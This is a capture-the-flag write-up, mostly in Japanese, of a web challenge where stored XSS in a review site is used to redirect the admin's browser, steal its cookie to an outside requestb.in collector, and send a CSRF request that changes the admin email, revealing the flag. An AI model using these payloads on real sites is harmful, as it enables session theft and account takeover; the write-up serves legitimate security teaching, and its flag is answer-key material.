Tags: web csrf xss 

Rating:

# ▼▼▼It's Common Sense(Web:100)、33/484=6.8%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

---

```
Common Sense Reviews was fixed last night. If you believe you had a working sol. last night but did not receive an email, please retry that solution. One major issue was email sending.

We found this site: Common Sense Reviews

We think the site owners are related to Pirates. Please retrieve the admin password.

This challenge is not working right now, it should be back soon. If not, we will remove points received from it.This challenge should be working properly now. Expect a delay in receiving emails (approx. 3 minutes max?).

Author: Steven Su
```

---

### 【機能】

・製品のレビュー投稿機能

・レビューを書くと、adminに確認される。

・パスワード変更機能があり、メールアドレスにパスワードが送信される機能

---

### 【脆弱性を探す】

requestb.inで待ち受けて、下記内容をレビューに投稿してみる

```
<script>location.href="https://requestb.in/1g4c8431"</script>
```

```
Accept-Language: en-US,en;q=0.9,en-AU;q=0.8,zh-TW;q=0.7,zh;q=0.6,es;q=0.5
Via: 1.1 vegur
Cookie: __cfduid=d3002ed99263d2b6cdcaacc2bf8d162d31512241776
Cf-Ray: 3c7449207cf723e4-IAD
Cf-Ipcountry: US
Connection: close
Host: requestb.in
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Connect-Time: 0
X-Request-Id: f1f3750b-4e0d-4ef0-a69f-57723bb3e89c
Upgrade-Insecure-Requests: 1
Cf-Connecting-Ip: 96.231.22.50
Accept-Encoding: gzip
Referer: https://commonsensereviews.tpctf.tk/reviewaksjdflkasjdflkajsdklfjasdlkfjasldfjaklsdjflasdf/kazkiti
Total-Route-Time: 0
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 9901.77.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.97 Safari/537.36
Cf-Visitor: {"scheme":"https"}
```

サーバにアクセスが来たのでXSSの脆弱性が存在することがわかった

---

### 【攻撃してみる】

**【Try1:Refererから漏えいしているURLへアクセスしてみる】**

Referer: https://commonsensereviews.tpctf.tk/reviewaksjdflkasjdflkajsdklfjasdlkfjasldfjaklsdjflasdf/kazkiti

アクセスしてみるもaccess denied

`X-forwarded-for:127.0.0.1`を付与しても同様の結果だった

---

adminのCookieを取得してからアクセスを試みることにする。

まずは、adminのCookieを取得するために、下記をレビューに投稿する
```
<script>location.href="https://requestb.in/1g4c8431?"+document.cookie</script>
```

サーバに下記のアクセスが来てadminnのCookieを得られた

/1g4c8431?session=`eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InBhb2thcmEifQ`

下記に、再度アクセスしてみる

Referer: https://commonsensereviews.tpctf.tk/reviewaksjdflkasjdflkajsdklfjasdlkfjasldfjaklsdjflasdf/kazkiti

`access denied`

IPアドレスで制限されている?のかアクセスできない。

---

eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InBhb2thcmEifQ

↓ base64でdecodeしてみる

{"_permanent":true,"username":"paokara"fQ

ユーザ名は`paokara`であることがわかった

※Set-Cookieに `HttpOnly`属性が付与されているのになぜ取得できたのか!?誰かがCookieにセットした!?(罠)

---

**【Try2:パスワード変更機能でCSRFを試みる】**

下記の、パスワード変更リクエスト送信するjavascriptを投稿してみる。


```
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://commonsensereviews.tpctf.tk/account", false);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send("[email protected]&formbtn=Send+Request");
</script>
```

下記がメールアドレスで受信できる
```
Reset Your Password

Congratulations! Normally, you would've reset the administrators password.
For the purposes of this challenge,
the flag is tpctf{D1D_Y0U_N0t1c3_Common_Sense_Reviews_1s_P4R7_0F_CSRF_19210jka010920aff}
```

`tpctf{D1D_Y0U_N0t1c3_Common_Sense_Reviews_1s_P4R7_0F_CSRF_19210jka010920aff}`